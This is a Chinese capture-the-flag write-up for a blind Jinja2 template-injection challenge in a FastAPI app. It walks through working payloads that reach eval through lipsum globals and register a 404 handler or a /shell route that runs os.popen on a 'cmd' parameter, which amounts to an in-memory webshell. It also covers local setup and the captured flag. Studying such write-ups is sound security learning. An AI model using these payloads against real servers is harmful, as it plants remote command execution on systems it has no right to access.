
源码空空先爆破

/docs和/docs/: 返回了200和307状态码,讲明网站存在一个文档页面。307 表示临时重定向,通常是为了规范 URL 格式/openapi.json: 返回200,这一个非常关键的文件。它是 OpenAPI 规范文件(通常用于 Swagger 或 FastAPI 等框架),里面详细记录了该网站所有 API 接口的路径、请求方法、参数结构等信息。/redoc: 返回200,这另一个常见的 API 文档展示页面,通常与/openapi.json配合使用,将 JSON 数据渲染成人类可读的网页。
访问后按钮不能点击,修改前端代码

本题无回显,看附件
http://node1.anna.nssctf.cn:20666/shellMe?username={lipsum.__globals__[%27__builtins__%27][%27eval%27](%22sys.modules[%27app%27].app.add_exception_handler(404,lambda%20request,exc:sys.modules[%27app%27].app.__init__.__globals__[%27JSONResponse%27](content={%27message%27:__import__(%27os%27).popen(request.query_params.get(%27cmd%27)%20or%20%27whoami%27).read()}))%22)}
http://node1.anna.nssctf.cn:20666/shellMe?username={lipsum.__globals__[%27__builtins__%27][%27exec%27](%22app=sys.modules[%27app%27].app;app.middleware_stack=app.build_middleware_stack()%22)}
find / -name "*flag" 2>/dev/null
cat 过滤了
看环境变量
NSSCTF{a906440e-e9b6-43db-a105-8e1360b38bbe}
搭建本地环境
创建工作区
复制源码
打开终端,进入项目目录,执行以下命令安装必要的库:
pip install fastapi uvicorn jinja2
这会安装 FastAPI 框架、Uvicorn 服务器和 Jinja2 模板引擎。
python -m uvicorn app:app --reload

微调代码方便交互
找到原异常处理器,#ta,让他正常报错
@app.exception_handler(404) async def handler_404(request, exc): return JSONResponse( status_code=404, content={"message": "Not found"} )
@app.get("/shellMe")
async def shellMe(username="Guest"):
Jinja2.from_string("Welcome " + username).render()
print(Jinja2.from_string("Welcome " + username).render()) #添加交互反馈
return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>")
访问URL
http://127.0.0.1:8000/shellMe?username={7*10}

环境搭建完成!
完整Payload
根据你的代码:
- 模块名:‘app’ (因为你用 uvicorn app:app 启动)
- 实例名:‘app’ (代码中 app = FastAPI())
- 分隔符:‘{’ 和 ‘}’ (自定义配置)
- JSONResponse:已导入 (from fastapi.responses import HTMLResponse, JSONResponse)
【第一部分:注入异常处理器】
http://127.0.0.1:8000/shellMe?username={lipsum.__globals__['__builtins__']['eval']("sys.modules['app'].app.add_exception_handler(404,lambda%20request,exc:sys.modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd')%20or%20'whoami').read()}))")}
可读版:需要404触发
{lipsum.__globals__['__builtins__']['eval'](
"sys.modules['app'].app.add_exception_handler(
404,
lambda request, exc: sys.modules['app'].app.__init__.__globals__['JSONResponse'](
content={'message': __import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}
)
)
")}
【第二部分:重建中间件栈】
http://127.0.0.1:8000/shellMe?username={lipsum.__globals__['__builtins__']['exec']("app=sys.modules['app'].app;app.middleware_stack=app.build_middleware_stack()")}
可读版:
{lipsum.__globals__['__builtins__']['exec'](
"app = sys.modules['app'].app;
app.middleware_stack = app.build_middleware_stack()"
)}
【完整测试步骤】
步骤1:先访问第一部分的URL
→ 浏览器应该显示 “Welcome Guest” 或类似内容
→ 这说明异常处理器已注入
步骤2:再访问第二部分的URL
→ 浏览器应该显示 “Welcome Guest”
→ 这说明中间件栈已重建

步骤3:访问一个不存在的路径测试内存马
http://127.0.0.1:8000/test?cmd=whoami

→ 应该返回JSON:{“message”: “你的用户名”}
构造playload原理
因为
def method_disabled(*args, **kwargs):
raise NotImplementedError("此路不通!该方法已被管理员禁用。")
app.add_api_route = method_disabled
app.add_middleware = method_disabled
应该选择别的函进行路由注册。
app.add_exception_handler这里用这个
add_api_route
add_api_websocket_route
查找看源码
# 1. 导入 FastAPI
from fastapi import FastAPI
# 2. 导入查看工具
import inspect
# 3. 打印源码
print(inspect.getsource(FastAPI.add_exception_handler))

可读版:需要404触发
{lipsum.__globals__['__builtins__']['eval'](
"sys.modules['app'].app.add_exception_handler(
404,
lambda request, exc: sys.modules['app'].app.__init__.__globals__['JSONResponse'](
content={'message': __import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}
)
)
")}
第一步:先写“核心功能”(最里面)
不管外面包了多少层,核心目的只有一个:执行命令并返回结果。
我们先写一个普通的 Python 函数(假ru我们已经有了 request 和 os):
# 核心代码
os.popen(request.query_params.get('cmd')).read()
因为我们要返回给浏览器,所以得包装成一个 Response 对象:
# 进阶核心代码
JSONResponse(
content={'message': os.popen(...).read()}
)
遇到的第一个问题:题目环境里可能没有直接导入 os 和 JSONResponse。
解决:
- os 用
__import__('os')代替。 - JSONResponse 要去 FastAPI 的全局变量里找。
第二步:解决“依赖从哪来”(中间层)
怎么找到 JSONResponse?
既然它在 app 对象里(因为源码导入了),我们就通过 app 去拿。
寻找路径:
- 先拿到 App 实例:
sys.modules['app'].app - 找到 App 初始化函数所在的命名空间:
.__init__.__globals__ - 从这个空间里拿
JSONResponse:['JSONResponse']
于是,核心代码就变成了这个长串:
sys.modules['app'].app.__init__.__globals__['JSONResponse'](
content={'message': __import__('os').popen(request.query_params.get('cmd')).read()}
)
遇到的第二个问题:还没挂载到 FastAPI 上。
第三步:解决“挂载到哪里”(外层逻辑)
我们要把上面的代码塞进异常处理函数里。
FastAPI 要求异常处理函数长这样:lambda request, exc: ...
于是我们把它包起来:
lambda request, exc: sys.modules['app'].app.__init__.__globals__['JSONResponse'](
content={'message': __import__('os').popen(request.query_params.get('cmd')).read()}
)
然后把它注册给 App:
sys.modules['app'].app.add_exception_handler(
404,
前面那个lambda
)
遇到的第三个问题:怎么让这段代码在服务器上跑起来?我们需要“执行权”。
最后一步:解决“执行权”(最外层沙箱逃逸)
我们需要一个能执行字符串代码的函数。在 SSTI 里,lipsum.__globals__['__builtins__'] 里藏着 eval。
所以最后再包一层:
lipsum.__globals__['__builtins__']['eval'](
"前面那一整串代码"
)
其他方法的
lipsum.__globals__['__builtins__']['eval']
("sys.modules['app'].app.router.add_route(
'/shell',
lambda request: __import__('starlette.responses', fromlist=['PlainTextResponse']).PlainTextResponse(__import__('os').popen(request.query_params.get('cmd', 'whoami')).read()),methods=['GET']
)
")



360

被折叠的 条评论
为什么被折叠?



